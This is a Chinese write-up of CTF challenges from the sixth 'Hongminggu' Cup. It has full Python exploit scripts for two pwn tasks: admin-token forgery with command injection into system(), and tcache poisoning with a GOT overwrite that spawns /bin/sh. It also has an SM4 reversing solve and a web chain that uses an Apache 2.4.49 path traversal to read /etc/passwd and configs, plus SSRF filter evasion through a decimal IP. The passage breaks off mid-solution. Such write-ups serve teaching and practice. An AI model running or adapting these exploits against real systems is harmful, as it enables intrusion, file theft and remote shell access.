第六届“红明谷”杯 wp

PWN：

neural

/api/raw 无鉴权转发原始后端命令 -> 伪造 admin token -> 打到 diagnostics 分支 -> 用 VNM 改写 system() 的命令缓冲区 -> 以 root 把 flag 复制到下载目录 -> /api/download 读回 flag。

在 app.py 里可以看到：

- CMD_ADMIN = 0xFF
- /api/raw 会把用户提交的 base64 解码后，直接作为原始命令发给后端 engine
- /api/status 会返回 pid 和 uptime

这意味着前端把一个“后端原始协议入口”直接暴露出来了，而且没有鉴权。

在 init.sh 里还能看到：

- engine 以 root 身份启动
- Flask 前端以低权限用户 neuralchat 启动
- unix socket 被 chmod 777

所以只要能控制 engine 的危险功能，本质上就是 root 权限能力。

逆向 engine 里的 handle_admin、verify_admin_token、derive_admin_key 后，可以得到 admin 包格式：

```
代码块
1   [u32 timestamp][u8 sub_cmd][32-byte token][extra...]
```

认证逻辑是：

```
代码块
1   abs(time(NULL) - timestamp) <= 60 token == SHA256(p32(timestamp) + p8(sub_cmd)
    + extra + g_pwn[:16])
```

而 g_pwn[:16] 不是随机生成的，而是：

```
g_pwn[:16] = derive_admin_key(pid, start_time)
```

问题在于这两个输入都能拿到：

- pid 直接来自 /api/status
- start_time = HTTP Date - uptime

这里 HTTP Date 用服务端响应头拿，比用本地时间稳得多，不会受时区和时钟偏差影响。

derive_admin_key 里的 S-box 就是 AES S-box，因此可以完整离线复现。

handle_admin 里有一个 diagnostics 分支，动态测试可知它对应 sub_cmd = 5。

这个分支会先执行一段自定义 VNM 字节码，执行成功后再调用：

代码块

```
system(g_pwn + 0x10);
```

默认情况下，g_pwn + 0x10 里放的是：

代码块

```
/opt/neuralchat/plugins/diag.sh
```

也就是说，只要能通过 VNM 改写 g_pwn + 0x10，就能把原本的诊断脚本替换成任意 shell 命令。

逆向 execute_vnm 后，够用的指令只有三条：

- 0x02 <reg> <imm32>：给寄存器写 32 位立即数
- 0x07 <signed_off> <reg>：把寄存器值写到 g_pwn + 0x90 + signed_off
- 0xff：正常结束

关键点在于 signed_off 是有符号 1 字节。

如果令：

代码块

```
signed_off = -128 = 0x80
```

那么写入位置就是：

代码块

```
g_pwn + 0x90 - 0x80 = g_pwn + 0x10
```

这正好是 system() 读取命令字符串的地方。

所以利用方式就是：

- 把命令按 4 字节切块
- 用 0x02 把块写进寄存器
- 用 0x07 0x80、0x07 0x84、0x07 0x88... 依次写到 g_pwn+0x10
- 最后发 0xff 结束 VNM
- diagnostics 分支继续执行 system(g_pwn+0x10)

不需要回显，不需要日志。

直接把 flag 复制到前端下载目录即可：

代码块

```
cp /home/ctf/flag /opt/neuralchat/downloads/f
```

然后访问：

代码块

```
/api/download?file=f
```

就能取回 flag。

exp

代码块

```
import requests
import base64
import struct
import time
import hashlib
import email.utils
import calendar

HOST = "http://39.106.48.123:36987"

SBOX = bytes.fromhex(
    "637c777bf26b6fc53001672bfed7ab76"
```

```
    "ca82c97dfa5947f0add4a2af9ca472c0"
    "b7fd9326363ff7cc34a5e5f171d83115"
    "04c723c31896059a071280e2eb27b275"
    "09832c1a1b6e5aa0523bd6b329e32f84"
    "53d100ed20fcb15b6acbbe394a4c58cf"
    "d0efaafb434d338545f9027f503c9fa8"
    "51a3408f929d38f5bcb6da2110fff3d2"
    "cd0c13ec5f974417c4a77e3d645d1973"
    "60814fdc222a908846eeb814de5e0bdb"
    "e0323a0a4906245cc2d3ac629195e479"
    "e7c8376d8dd54ea96c56f4ea657aae08"
    "ba78252e1ca6b4c6e8dd741f4bbd8b8a"
    "703eb5664803f60e613557b986c11d9e"
    "e1f8981169d98e949b1e87e9ce5528df"
    "8ca1890dbfe6426841992d0fb054bb16"
)

def u32(x):
    return x & 0xffffffff

def derive_admin_key(pid, start_time):
    x = u32((pid * 0x045D9F3B) ^ ((start_time & 0xffffffff) * 0x119DE1F3))
    out = bytearray(16)
    for i in range(16):
        x ^= u32(x << 13)
        x ^= (x >> 7)
        x ^= u32(x << 17)
        out[i] = SBOX[x & 0xff]
        x = u32(x + u32((i + 1) * 0x9E3779B9))
    return bytes(out)

def get_status():
    for _ in range(20):
        r = requests.get(HOST + "/api/status", timeout=5)
        if r.status_code == 200:
            return r
        time.sleep(1)
    raise RuntimeError("status unavailable")

def admin_request(sub_cmd, extra=b""):
    r = get_status()
    st = r.json()
    server_now = calendar.timegm(email.utils.parsedate(r.headers["Date"]))
    start_time = server_now - int(st["uptime"])
    pid = int(st["pid"])

    secret = derive_admin_key(pid, start_time)
```

```
    ts = server_now
    token = hashlib.sha256(
        struct.pack("<I", ts) + bytes([sub_cmd]) + extra + secret
    ).digest()

    payload = struct.pack("<I", ts) + bytes([sub_cmd]) + token + extra
    raw = bytes([0xff]) + payload

    rr = requests.post(
        HOST + "/api/raw",
        json={"data": base64.b64encode(raw).decode()},
        timeout=8
    )
    if rr.status_code != 200:
        raise RuntimeError(f"http {rr.status_code}: {rr.text}")
    return base64.b64decode(rr.json()["data"])

def build_vnm_program(cmd: bytes):
    data = cmd + b"\x00"
    if len(data) % 4:
        data += b"\x00" * (4 - len(data) % 4)

    prog = bytearray()
    off = -128
    reg = 0

    for i in range(0, len(data), 4):
        chunk = data[i:i+4]
        imm = struct.unpack("<I", chunk)[0]
        prog += bytes([0x02, reg]) + struct.pack("<I", imm)
        prog += bytes([0x07, off & 0xff, reg])
        off += 4

    prog += b"\xff"
    return bytes(prog)

cmd = b"cp /home/ctf/flag /opt/neuralchat/downloads/f"
prog = build_vnm_program(cmd)

print(admin_request(5, prog))
print(requests.get(HOST + "/api/download?file=f", timeout=5).text)

```

flag{86dc6c31-f9b9-4781-b44d-c7fcf70090bd}

Odd_chat

菜单如下：

1. Chat
2. Change name
3. View chat history
4. Clear chat
5. Quit

每条聊天消息对应一个 `0x20` 大小的结构体（`malloc(0x20)`）：

- 前 `0x18` 字节：message 缓冲区
- 末尾 `0x8` 字节：`next` 指针

程序还会对 message 做分组加密（8 字节一组，类似 TEA 变体），再按 `%s` 打印。

聊天时会输入长度 `n`，程序先尝试取绝对值再 `%24`。但它的“绝对值”写法对 `INT_MIN` 失效：

- 输入 `-2147483648`
- 处理后得到 `-8`

随后读入函数里存在“有符号/无符号混用”比较，`i < len` 用了无符号分支，`len=-8` 会被当成超大正数，导致本来限制在 message 的读入变成可越界写（覆盖后续 chunk 元数据）。

这就是核心写原语。

message 打印用 `%s`，如果我们控制长度和内容，让密文后面没有及时遇到 `\x00`，会继续读到相邻内存。

通过连续发消息，可以从第二条消息尾部漏出前一条 chunk 地址（低地址字节）。

这题不是标准 TEA delta。

- 正确常量：`0x9e3879b9`
- 不是常见的：`0x9e3779b9`

如果 delta 写错，构造“加密后落盘值”会全部偏掉，利用链会表现为“看起来接近成功但关键覆盖无效”。

整体思路：`heap leak -> tcache poisoning -> GOT hijack -> system("/bin/sh")`

先造 3 个真实堆块并泄露堆地址：

- 连续 `Chat` 三次（长度请求 `23`，实际发送 `22` 字节）
- 第二条输出可带出第一条 chunk 地址尾部
- 从输出中恢复第一个 chunk 地址

对应代码：

- `run_exploit`
- `extract_user_message`

清空聊天，形成 tcache 链：

`clear_chat` 后，3 个 chunk 进入 `tcache[0x30]`。

重分配一个 chunk，用 `INT_MIN` 越界改下一个 freed chunk 的 `fd`：

- 再次 `chat(INT_MIN, payload)`
- payload 经过逆加密构造，让“加密后写入内存”的最终值在偏移 `0x30` 处变成 `GLOBAL_NAME_PTR(0x6020f0)`
- 本质就是 tcache poisoning

对应代码：

- `build_encrypted_payload`
- `run_exploit`

连续申请，拿到 `GLOBAL_NAME_PTR` 这个伪造 chunk：

- 先 `chat(0, b"")` 消耗一个正常 chunk
- 下一次 `chat` 就会从 poisoned tcache 返回到 `0x6020f0`

把全局 name 指针改到 `atoi@GOT`，再泄露 libc：

通过伪造 chunk 的 message 写入：

- 把 name 指针写成 `ATOI_GOT(0x602060)`
- 程序打印用户名时读 `atoi@GOT`，泄露 `atoi` 实际地址
- 计算 `libc_base` 和 `system`

对应代码：

- `leak_atoi`
- `run_exploit`

覆盖 `atoi@GOT = system`：

`Change name` 会调用 `fgets(name_ptr, ...)`，而 `name_ptr` 已经是 `atoi@GOT`，于是可直接写 GOT。

写入 `system` 地址后，菜单下一次读选项会调用 `atoi`，实际变成 `system`。

发送 `/bin/sh` 即可弹 shell。

完整脚本在：

代码块

```
1  #!/usr/bin/env python3
```

```python
import argparse
import shlex
import socket
import struct
import subprocess
import sys
import threading
import time

BINARY_WSL_PATH = "/mnt/c/Users/lenovo/Desktop/odd_chat/attachment"

# Fixed addresses from the non-PIE challenge binary.
FAKE_CHUNK_USER = 0x602110
GLOBAL_NAME_PTR = 0x6020F0
ATOI_GOT = 0x602060

# Offsets from the bundled libc.so.6 (Ubuntu GLIBC 2.27-3ubuntu1.6).
ATOI_OFFSET = 0x40670
SYSTEM_OFFSET = 0x4F420

# The chat node stores 0x18 bytes of message data followed by a next pointer.
NODE_NEXT_OFFSET = 0x18
TEA_DELTA = 0x9E3879B9
TEA_KEY = 0x114514
TEA_ROUNDS = 17
INT_MIN = -2147483648
LEAK_REQUEST_LEN = 23
LEAK_PAYLOAD = b"A" * 22

def p64(value):
    return struct.pack("<Q", value)

def u64(data):
    return struct.unpack("<Q", data.ljust(8, b"\x00"))[0]

def u32(value):
    return value & 0xFFFFFFFF

def tea_decrypt_block(block):
    v0, v1 = struct.unpack("<II", block)
    total = u32(TEA_ROUNDS * TEA_DELTA)
    for _ in range(TEA_ROUNDS):
        v1 = u32(v1 - (((v0 << 4) + TEA_KEY) ^ (v0 + total) ^ ((v0 >> 5) +
TEA_KEY)))
        total = u32(total - TEA_DELTA)
        v0 = u32(v0 - (((v1 << 4) + TEA_KEY) ^ (v1 + total) ^ ((v1 >> 5) +
TEA_KEY)))
```

```
    return struct.pack("<II", v0, v1)

def build_fake_name_buffer(tcache_next=0):
    buf = bytearray(0x2F)
    struct.pack_into("<Q", buf, 0x08, 0x31)
    struct.pack_into("<Q", buf, 0x10, tcache_next)
    return bytes(buf)

def build_overflow_payload(next_ptr):
    target_block = tea_decrypt_block(p64(next_ptr))
    payload = b"A" * NODE_NEXT_OFFSET + target_block
    if b"\n" in payload:
        raise ValueError("overflow payload unexpectedly contains a newline byte")
    return payload

def build_name_ptr_payload(target_ptr):
    payload = tea_decrypt_block(p64(target_ptr))
    if b"\n" in payload:
        raise ValueError("name-pointer payload unexpectedly contains a newline byte")
    return payload

def build_encrypted_payload(final_bytes):
    if len(final_bytes) % 8 != 0:
        raise ValueError("final_bytes length must be a multiple of 8")

    payload = bytearray()
    for index in range(0, len(final_bytes), 8):
        payload.extend(tea_decrypt_block(final_bytes[index:index + 8]))

    if b"\n" in payload:
        raise ValueError("encrypted payload unexpectedly contains a newline byte")
    return bytes(payload)

class ExploitError(RuntimeError):
    pass

def format_bytes(data):
    chunks = []
    for byte in data:
        if byte in (0x09, 0x0A, 0x0D) or 0x20 <= byte <= 0x7E:
            chunks.append(chr(byte))
        else:
            chunks.append(f"\\x{byte:02x}")
    return "".join(chunks)
```

```
def calc_effective_length(value):
    signed = struct.unpack("<i", struct.pack("<I", value & 0xFFFFFFFF))[0]
    sign = signed >> 31
    absish = ((signed ^ sign) - sign) & 0xFFFFFFFF
    absish_signed = struct.unpack("<i", struct.pack("<I", absish))[0]

    quotient = int(absish_signed / 24)
    remainder = absish_signed - quotient * 24
    return struct.unpack("<i", struct.pack("<I", remainder & 0xFFFFFFFF))[0]

class BufferedTube:
    def __init__(self):
        self._buffer = bytearray()
        self._cond = threading.Condition()
        self._closed = False

    def _append(self, data):
        if not data:
            return
        with self._cond:
            self._buffer.extend(data)
            self._cond.notify_all()

    def _mark_closed(self):
        with self._cond:
            self._closed = True
            self._cond.notify_all()

    def recvuntil(self, delim, timeout=5.0):
        end_time = time.time() + timeout
        with self._cond:
            while True:
                index = self._buffer.find(delim)
                if index != -1:
                    index += len(delim)
                    data = bytes(self._buffer[:index])
                    del self._buffer[:index]
                    return data

                if self._closed:
                    raise EOFError(f"stream closed before receiving delimiter
{delim!r}")

                remaining = end_time - time.time()
                if remaining <= 0:
```

```
                    raise TimeoutError(f"timed out waiting for delimiter {delim!r}")
                self._cond.wait(remaining)

    def recv_available(self, wait=0.2):
        end_time = time.time() + wait
        with self._cond:
            while not self._buffer and not self._closed:
                remaining = end_time - time.time()
                if remaining <= 0:
                    break
                self._cond.wait(remaining)

            data = bytes(self._buffer)
            self._buffer.clear()
            return data

    def send(self, data):
        raise NotImplementedError

    def sendline(self, data=b""):
        self.send(data + b"\n")

    def interactive(self):
        print("[*] Interactive mode. Press Ctrl+C to stop.", file=sys.stderr)

        def printer():
            while True:
                chunk = self.recv_available(wait=0.1)
                if chunk:
                    sys.stdout.buffer.write(chunk)
                    sys.stdout.buffer.flush()
                elif self._closed:
                    break

        thread = threading.Thread(target=printer, daemon=True)
        thread.start()

        try:
            for line in sys.stdin.buffer:
                self.send(line)
        except KeyboardInterrupt:
            pass

class ProcessTube(BufferedTube):
    def __init__(self, argv):
        super().__init__()
```

```
            self.proc = subprocess.Popen(
                argv,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT,
                bufsize=0,
            )
            self._reader = threading.Thread(target=self._reader_loop, daemon=True)
            self._reader.start()

        def _reader_loop(self):
            reader = getattr(self.proc.stdout, "read1", self.proc.stdout.read)
            try:
                while True:
                    chunk = reader(4096)
                    if not chunk:
                        break
                    self._append(chunk)
            finally:
                self._mark_closed()

        def send(self, data):
            if self.proc.stdin is None:
                raise EOFError("process stdin is closed")
            self.proc.stdin.write(data)
            self.proc.stdin.flush()

    class SocketTube(BufferedTube):
        def __init__(self, host, port):
            super().__init__()
            self.sock = socket.create_connection((host, port))
            self._reader = threading.Thread(target=self._reader_loop, daemon=True)
            self._reader.start()

        def _reader_loop(self):
            try:
                while True:
                    chunk = self.sock.recv(4096)
                    if not chunk:
                        break
                    self._append(chunk)
            finally:
                self._mark_closed()

        def send(self, data):
            self.sock.sendall(data)

```

```python
class OddChatExploit:
    def __init__(self, io):
        self.io = io
        self.menu_ready = False

    def wait_menu(self):
        if not self.menu_ready:
            self.io.recvuntil(b">> ")
            self.menu_ready = True

    def choose(self, choice):
        self.wait_menu()
        self.io.sendline(str(choice).encode())
        self.menu_ready = False

    def start(self, initial_name=b"guest"):
        self.io.recvuntil(b"Please enter your name: ")
        self.io.sendline(initial_name)
        self.wait_menu()

    def set_name(self, payload):
        if b"\n" in payload:
            raise ExploitError("fgets payload cannot contain a newline byte")
        if len(payload) > 0x2F:
            raise ExploitError("name payload is longer than fgets can accept")

        self.choose(2)
        self.io.recvuntil(b"Please enter your name: ")
        self.io.send(payload + b"\n")
        self.wait_menu()

    def chat(self, length_value, payload):
        if b"\n" in payload:
            raise ExploitError("chat payload cannot contain a newline byte")

        self.choose(1)
        self.io.recvuntil(b"How many characters do you want to send: ")
        self.io.sendline(str(length_value).encode())
        self.io.recvuntil(b"> ")
        self.io.send(payload + b"\n")

        output = self.io.recvuntil(b">> ")
        self.menu_ready = True
        return output

    def clear_chat(self):
        self.choose(4)
```

```
276         output = self.io.recvuntil(b">> ")
277         self.menu_ready = True
278         return output
279
280     def view_history(self):
281         self.choose(3)
282         output = self.io.recvuntil(b">> ")
283         self.menu_ready = True
284         return output
285
286     @staticmethod
287     def extract_name_leak(output):
288         marker = b"] User: "
289         if marker not in output:
290             raise ExploitError("failed to find the user leak marker in chat
    output")
291         leak_part = output.split(marker, 1)[1]
292         if b"> " not in leak_part:
293             raise ExploitError("failed to split leaked bytes from the message
    output")
294         leaked = leak_part.split(b"> ", 1)[0]
295         if not leaked:
296             raise ExploitError("the leaked user string was empty")
297         return leaked
298
299     def leak_atoi(self):
300         leak_output = self.chat(8, build_name_ptr_payload(ATOI_GOT))
301         leaked = self.extract_name_leak(leak_output)
302         atoi_addr = u64(leaked[:8])
303         return atoi_addr, leak_output
304
305     @staticmethod
306     def extract_user_message(output):
307         marker = b"> "
308         if marker not in output:
309             raise ExploitError("failed to find the user message marker in chat
    output")
310         return output.split(marker, 1)[1].split(b"\n", 1)[0]
311
312 def build_local_tube(local_path):
313     argv = ["wsl", "sh", "-lc", shlex.quote(local_path)]
314     return ProcessTube(argv)
315
316 def build_tube(args):
317     if args.remote:
318         host, port = args.remote
319         return SocketTube(host, int(port))
```

```
320         return build_local_tube(args.local_path)
321
322     def print_block(title, data):
323         print(f"\n=== {title} ===")
324         print(format_bytes(data))
325
326     def analyze_probe(args, length_value, payload):
327         io = build_tube(args)
328         exp = OddChatExploit(io)
329
330         banner = io.recvuntil(b"Please enter your name: ")
331         io.sendline(args.initial_name.encode())
332         menu = io.recvuntil(b">> ")
333         exp.menu_ready = True
334
335         print(f"\n===== Probe length = {length_value} =====")
336         print(f"effective length in binary =
    {calc_effective_length(length_value)}")
337         print_block("Initial Banner", banner)
338         print_block("Main Menu", menu)
339
340         exp.choose(1)
341         length_prompt = io.recvuntil(b"How many characters do you want to send: ")
342         io.sendline(str(length_value).encode())
343         chat_prompt = io.recvuntil(b"> ")
344         io.send(payload + b"\n")
345
346         print_block("Length Prompt", length_prompt)
347         print_block("Chat Prompt", chat_prompt)
348
349         try:
350             response = io.recvuntil(b">> ", timeout=args.timeout)
351             print_block("Chat Response", response)
352             print("status = returned to menu")
353         except (EOFError, TimeoutError) as exc:
354             tail = io.recv_available(wait=1.0)
355             if tail:
356                 print_block("Partial Response", tail)
357             print(f"status = {type(exc).__name__}: {exc}")
358
359     def run_analysis(args):
360         payload = args.payload.encode("latin1")
361         if b"\n" in payload:
362             raise ExploitError("analysis payload cannot contain a newline byte")
363
364         io = build_tube(args)
365         exp = OddChatExploit(io)
```

```
366
367     banner = io.recvuntil(b"Please enter your name: ")
368     io.sendline(args.initial_name.encode())
369     menu = io.recvuntil(b">> ")
370     exp.menu_ready = True
371
372     print_block("Initial Banner", banner)
373     print_block("Main Menu", menu)
374
375     history = exp.view_history()
376     print_block("View Empty History", history)
377
378     clear_output = exp.clear_chat()
379     print_block("Clear Empty Chat", clear_output)
380
381     for length_value in args.lengths:
382         analyze_probe(args, length_value, payload)
383
384 def run_exploit(args):
385     io = build_tube(args)
386
387     exp = OddChatExploit(io)
388     exp.start(args.initial_name.encode())
389
390     # 1. Create three real chunks. Using 22 bytes with a request length of 23
    ensures
391     #    the trailing newline is consumed, while the encrypted printout still
    leaks the
392     #    previous chunk pointer from the second message.
393     first = exp.chat(LEAK_REQUEST_LEN, LEAK_PAYLOAD)
394     second = exp.chat(LEAK_REQUEST_LEN, LEAK_PAYLOAD)
395     exp.chat(LEAK_REQUEST_LEN, LEAK_PAYLOAD)
396
397     first_msg = exp.extract_user_message(first)
398     second_msg = exp.extract_user_message(second)
399     first_chunk = int.from_bytes(second_msg[len(first_msg):], "little")
400     if first_chunk == 0:
401         raise ExploitError("failed to recover the first heap chunk address
    from the leak")
402
403     print(f"[*] first heap chunk = 0x{first_chunk:x}")
404
405     # 2. Free the three real chunks so tcache[0x30] becomes A -> B -> C.
406     exp.clear_chat()
407
408     # 3. Reallocate A and use the INT_MIN bug to overflow into freed B's
    tcache fd.
```

```
409     poison_layout = bytearray(0x38)
410     poison_layout[0x30:0x38] = p64(GLOBAL_NAME_PTR)
411     exp.chat(INT_MIN, build_encrypted_payload(bytes(poison_layout)))
412 
413     # 4. Reallocate B; its poisoned fd makes the next tcache allocation land on
414     #    GLOBAL_NAME_PTR.
415     exp.chat(0, b"")
416 
417     # 5. Allocate GLOBAL_NAME_PTR as a fake chunk, then overwrite it with
    atoi@GOT.
418     atoi_addr, _ = exp.leak_atoi()
419     libc_base = atoi_addr - ATOI_OFFSET
420     system_addr = libc_base + SYSTEM_OFFSET
421 
422     print(f"[*] atoi@libc   = 0x{atoi_addr:x}")
423     print(f"[*] libc base   = 0x{libc_base:x}")
424     print(f"[*] system@libc = 0x{system_addr:x}")
425 
426     system_bytes = p64(system_addr)
427     if b"\n" in system_bytes:
428         raise ExploitError(
429             "system address contains a newline byte; rerun the exploit for a
    different ASLR layout"
430         )
431 
432     # 6. global_name_ptr already points at atoi@GOT, so option 2 becomes a
    direct GOT write.
433     exp.set_name(system_bytes)
434     print("[*] Overwrote atoi@GOT with system")
435 
436     # 7. Trigger system('/bin/sh') when the menu asks for the next numeric
    choice.
437     io.sendline(b"/bin/sh")
438     time.sleep(0.2)
439 
440     if args.run:
441         io.sendline(args.run.encode())
442         io.sendline(b"exit")
443         time.sleep(0.2)
444         sys.stdout.buffer.write(io.recv_available(wait=1.0))
445         sys.stdout.buffer.flush()
446         return
447 
448     io.interactive()
449 
450 def parse_args():
451     parser = argparse.ArgumentParser(
```

```
452          description="Dynamic analysis and exploit helper for the odd_chat
    challenge."
453      )
454      parser.add_argument(
455          "--mode",
456          choices=("analyze", "exploit"),
457          default="analyze",
458          help="run menu/length probes or launch the exploit chain",
459      )
460      parser.add_argument(
461          "--remote",
462          nargs=2,
463          metavar=("HOST", "PORT"),
464          help="connect to a remote service instead of launching the local
    binary",
465      )
466      parser.add_argument(
467          "--local-path",
468          default=BINARY_WSL_PATH,
469          help="WSL path to the local challenge binary for --local mode",
470      )
471      parser.add_argument(
472          "--initial-name",
473          default="guest",
474          help="initial name sent at startup",
475      )
476      parser.add_argument(
477          "--run",
478          help="command to run after /bin/sh is spawned",
479      )
480      parser.add_argument(
481          "--payload",
482          default="BBBBBBBB",
483          help="ASCII payload used by analyze mode when sending chat content",
484      )
485      parser.add_argument(
486          "--lengths",
487          nargs="*",
488          type=int,
489          default=[0, 1, 8, 23, 24, -1, -24, INT_MIN],
490          help="length values to probe in analyze mode",
491      )
492      parser.add_argument(
493          "--timeout",
494          type=float,
495          default=5.0,
496          help="receive timeout for analyze mode probes",
```

```
    )
    return parser.parse_args()

def main():
    args = parse_args()
    if args.mode == "exploit":
        run_exploit(args)
        return
    run_analysis(args)

if __name__ == "__main__":
    try:
        main()
    except (ExploitError, EOFError, TimeoutError, OSError, ValueError) as exc:
        print(f"[!] {exc}", file=sys.stderr)
        sys.exit(1)
```

执行后可拿到：

代码块

```
python d:\study\2.py --remote 101.201.236.114 26676 --mode exploit --run "cat /flag"
```

flag{7448d1e0-8971-4691-90c7-d774826dc016}

逆向

ezSM4

先看附件目录，只有一个二进制：

Get-ChildItem C:\Users\Admin\Downloads\ezSM4_a23f288fee7857a581044347e4a44a28

输出里只有：

ezSM4.exe

再提取字符串，可以看到几个很关键的信息：

12345678abcdefgh

format: flag{xxx}, xxx is your input.

Correct.

Wrong Answer.

Wrong length.

Invalid length of data

Invalid length of key

.?AVSM4@@

这里最重要的线索有两个：

1. 二进制里明确出现了 `SM4` 类名
2. 还出现了一串固定字符串 `12345678abcdefgh`，很像 key

用 `pefile + capstone` 去看主逻辑，关键流程在主函数附近可以还原成下面的样子：

1. 读入用户输入
2. 构造一个 16 字节的明文块
3. 构造一个固定 key：`12345678abcdefgh`
4. 调用 `SM4` 相关对象进行加密
5. 将结果和一个写死的 16 字节常量比较
6. 相等则输出 `Correct.`，否则输出 `Wrong Answer.`

程序里写死的目标密文是：

4A 5E 46 35 96 08 E9 30 DA 28 CA A0 22 A6 59 4D

也就是：

4a5e46359608e930da28caa022a6594d

程序里比较的位置可以直接看到这 16 个字节常量：

0x140001b30: 4a 5e 46 35

0x140001b37: 96 08 e9 30

0x140001b3e: da 28 ca a0

0x140001b45: 22 a6 59 4d

固定 key 也在 `.rdata` 里：

12345678abcdefgh

这题有一个很容易踩坑的点：`Wrong length.` 不只是“格式不对”，而是程序对参与加密的数据长度有严格限制。

简单测试会发现，真正参与运算的是一个 **16 字节输入块**。

这里要特别注意：

format: flag{xxx}, xxx is your input.

这句话不是说程序会去解析 `flag{...}`，而是在提示你：

- 二进制里真正要输入的是 `xxx`
- 平台上最终提交时再写成 `flag{xxx}`

也就是说，程序本身只处理一串原始输入，只要长度是 16 字节就会进入加密逻辑。 例如把：

flag{aaaaaaaaaa}

喂给程序时，它只是把这 16 个字符当作普通测试串处理，并不会把它识别成“flag 格式”。

所以这题最终要找的是：

- 程序正确输入：16 字节原始字符串
- 平台提交格式：`flag{程序正确输入}`

为了确认它到底是不是“标准 SM4-ECB + 固定 key”，可以对一个已知输入下断或挂钩。例如输入一个刚好 16 字节的测试串：

flag{aaaaaaaaaa}

用 `frida` 在关键 `memcpy` 位置抓到程序真正算出来的 16 字节结果：

57af8deba3860fc2ee00eb5e92502903

如果直接用标准库按普通 `SM4-ECB` 计算：

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

key = b"12345678abcdefgh"

pt = b"flag{aaaaaaaaaa}"

cipher = Cipher(algorithms.SM4(key), modes.ECB())

enc = cipher.encryptor().update(pt) + cipher.encryptor().finalize()

print(enc.hex())

得到的是：

813acb9b5cafbf310cc503be19ebeda5

和程序输出完全对不上。

这说明题目虽然是 `SM4`，但实现里用了不同的字节序。继续对照后可以发现，这个程序实际上是按 **4 字节一组做小端处理** 的。

也就是说：

- key 先每 4 字节反转

- 明文先每 4 字节反转
- 目标密文也要每 4 字节反转
- 标准 SM4 解密完成后，再把结果每 4 字节反转回来

定义一个辅助函数：

```
def rev4(x: bytes) -> bytes:
    return b"".join(x[i:i+4][::-1] for i in range(0, len(x), 4))
```

那么正确的解法就是：

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def rev4(x: bytes) -> bytes:
    return b"".join(x[i:i+4][::-1] for i in range(0, len(x), 4))

key = b"12345678abcdefgh"
ct = bytes.fromhex("4a5e46359608e930da28caa022a6594d")

cipher = Cipher(algorithms.SM4(rev4(key)), modes.ECB())
pt = cipher.decryptor().update(rev4(ct)) + cipher.decryptor().finalize()
pt = rev4(pt)

print(pt)
```

输出：

```
b'SENSOREDS4Little'
```

所以真正的明文就是：

```
SENSOREDS4Little
```

直接把这串作为输入喂给程序：

```
SENSOREDS4Little
```

程序输出：

```
Correct.
format: flag{xxx}, xxx is your input.
```

这说明我们解出的 16 字节输入是正确的。

按照题目给出的格式，最终 flag 为：

flag{SENSOREDS4Little}

web

1.1 DataVault V3

对常见静态目录做探测时，发现 `/assets/` 很异常：

GET /assets/

返回：

<html><body><h1>It works!</h1></body></html>

这说明：

- `/` 走的是反向代理后的 Python Web
- `/assets/` 走的是 Apache 本地文件系统

这和题面里的 Apache 网关完全吻合。

目标响应头里已经暴露：

Server: Apache/2.4.49 (Unix)

Apache 2.4.49 存在经典路径穿越问题。直接在 `/assets/` 下构造穿越：

GET /assets/.%2e/.%2e/.%2e/.%2e/etc/passwd

成功读取到 `/etc/passwd`，说明任意文件读取已经成立。

读 Apache 配置：

GET /assets/.%2e/.%2e/.%2e/.%2e/usr/local/apache2/conf/httpd.conf

关键配置如下：

Alias /assets/ "/usr/local/apache2/htdocs/"

<VirtualHost *:80>

ProxyPass /assets/ !

ProxyPass / http://127.0.0.1:8080/

ProxyPassReverse / http://127.0.0.1:8080/

</VirtualHost>

可知/assets/不走反代，直接由 Apache 处理

- 其他路径全部反代到 `127.0.0.1:8080`

再读 supervisor 配置：

GET /assets/.%2e/.%2e/.%2e/.%2e/etc/supervisor/conf.d/supervisord.conf

拿到：

[program:web]
command=python3 /app/web/app.py
directory=/app/web

[program:kms]
command=python3 /app/kms/app.py
directory=/app/kms

这一步基本已经把架构图画出来了：

- 外部 Apache
- Web 服务：`127.0.0.1:8080`
- KMS 服务：内网 Python 服务

读取两个关键文件：

GET /assets/.%2e/.%2e/.%2e/.%2e/app/web/app.py

GET /assets/.%2e/.%2e/.%2e/.%2e/app/kms/app.py

`/app/web/app.py` 里有三个关键点：

1. 隐藏接口：

```
@app.route('/api/v1/backup/snapshot')
def hidden_snapshot():
    return jsonify(get_snapshot())
```

2. SSRF 点：

```
@app.route('/health_check')
def health_check():
    url = request.args.get('url')
    ...
    parsed_url = urllib.parse.urlparse(url)
    domain = parsed_url.netloc

    if "internal-kms" in domain or "127.0.0.1" in domain or "localhost" in domain:
        return jsonify({"error": "WAF Blocked: Internal network access prohibited."}), 403
```

```
    r = requests.get(url, timeout=2)
    return jsonify({"status": r.status_code, "body_preview": r.text[:100]})
```

3. 快照生成逻辑：

```
old_dek = os.urandom(32)
cipher = AES.new(old_dek, AES.MODE_GCM)
enc_data, tag = cipher.encrypt_and_digest(FLAG.encode())

resp = requests.get(f"{KMS_URL}/api/v1/import_dek?dek={old_dek.hex()}")
enc_dek = resp.json().get('enc_dek')
```

也就是：

- `FLAG` 用随机 `old_dek` 做 AES-GCM 加密
- `old_dek` 再交给内网 KMS 加密
- 对外只给出：
  - `enc_data`
  - `tag`
  - `nonce`
  - `enc_dek`

`/app/kms/app.py`：

```
KEK = os.urandom(32)
STATIC_NONCE = b'DataVaul'

@app.route('/api/v1/import_dek')
def import_dek():
    dek = bytes.fromhex(dek_hex)
    cipher = AES.new(KEK, AES.MODE_CTR, nonce=STATIC_NONCE)
    enc_dek = cipher.encrypt(dek)
    return jsonify({"enc_dek": enc_dek.hex()})
```

漏洞点非常明显：

- KMS 每次都用同一个 `KEK`
- 更致命的是 `AES-CTR` 使用固定 `nonce`

CTR 模式下：

ciphertext = plaintext XOR keystream

如果 nonce 固定，那么 keystream 固定。只要我们让它加密一段已知明文，就能恢复 keystream，进而解出其他密文。

访问隐藏接口：

GET /api/v1/backup/snapshot

返回类似：

{
 "enc_data": "...",
 "enc_dek": "...",
 "id": "snap_v1_legacy_deleted",
 "nonce": "...",
 "tag": "...",
 "kms_backend_log": "DEK encrypted via internal legacy API: /api/v1/import_dek"
}

白名单拦截逻辑只是字符串判断：

if "127.0.0.1" in domain or "localhost" in domain

所以可以直接用 `127.0.0.1` 的十进制形式：

2130706433 == 127.0.0.1

构造请求：

GET /health_check?url=http://2130706433:5000/api/v1/import_dek?dek=0000000000000000000000000000000000000000000000000000000000000000

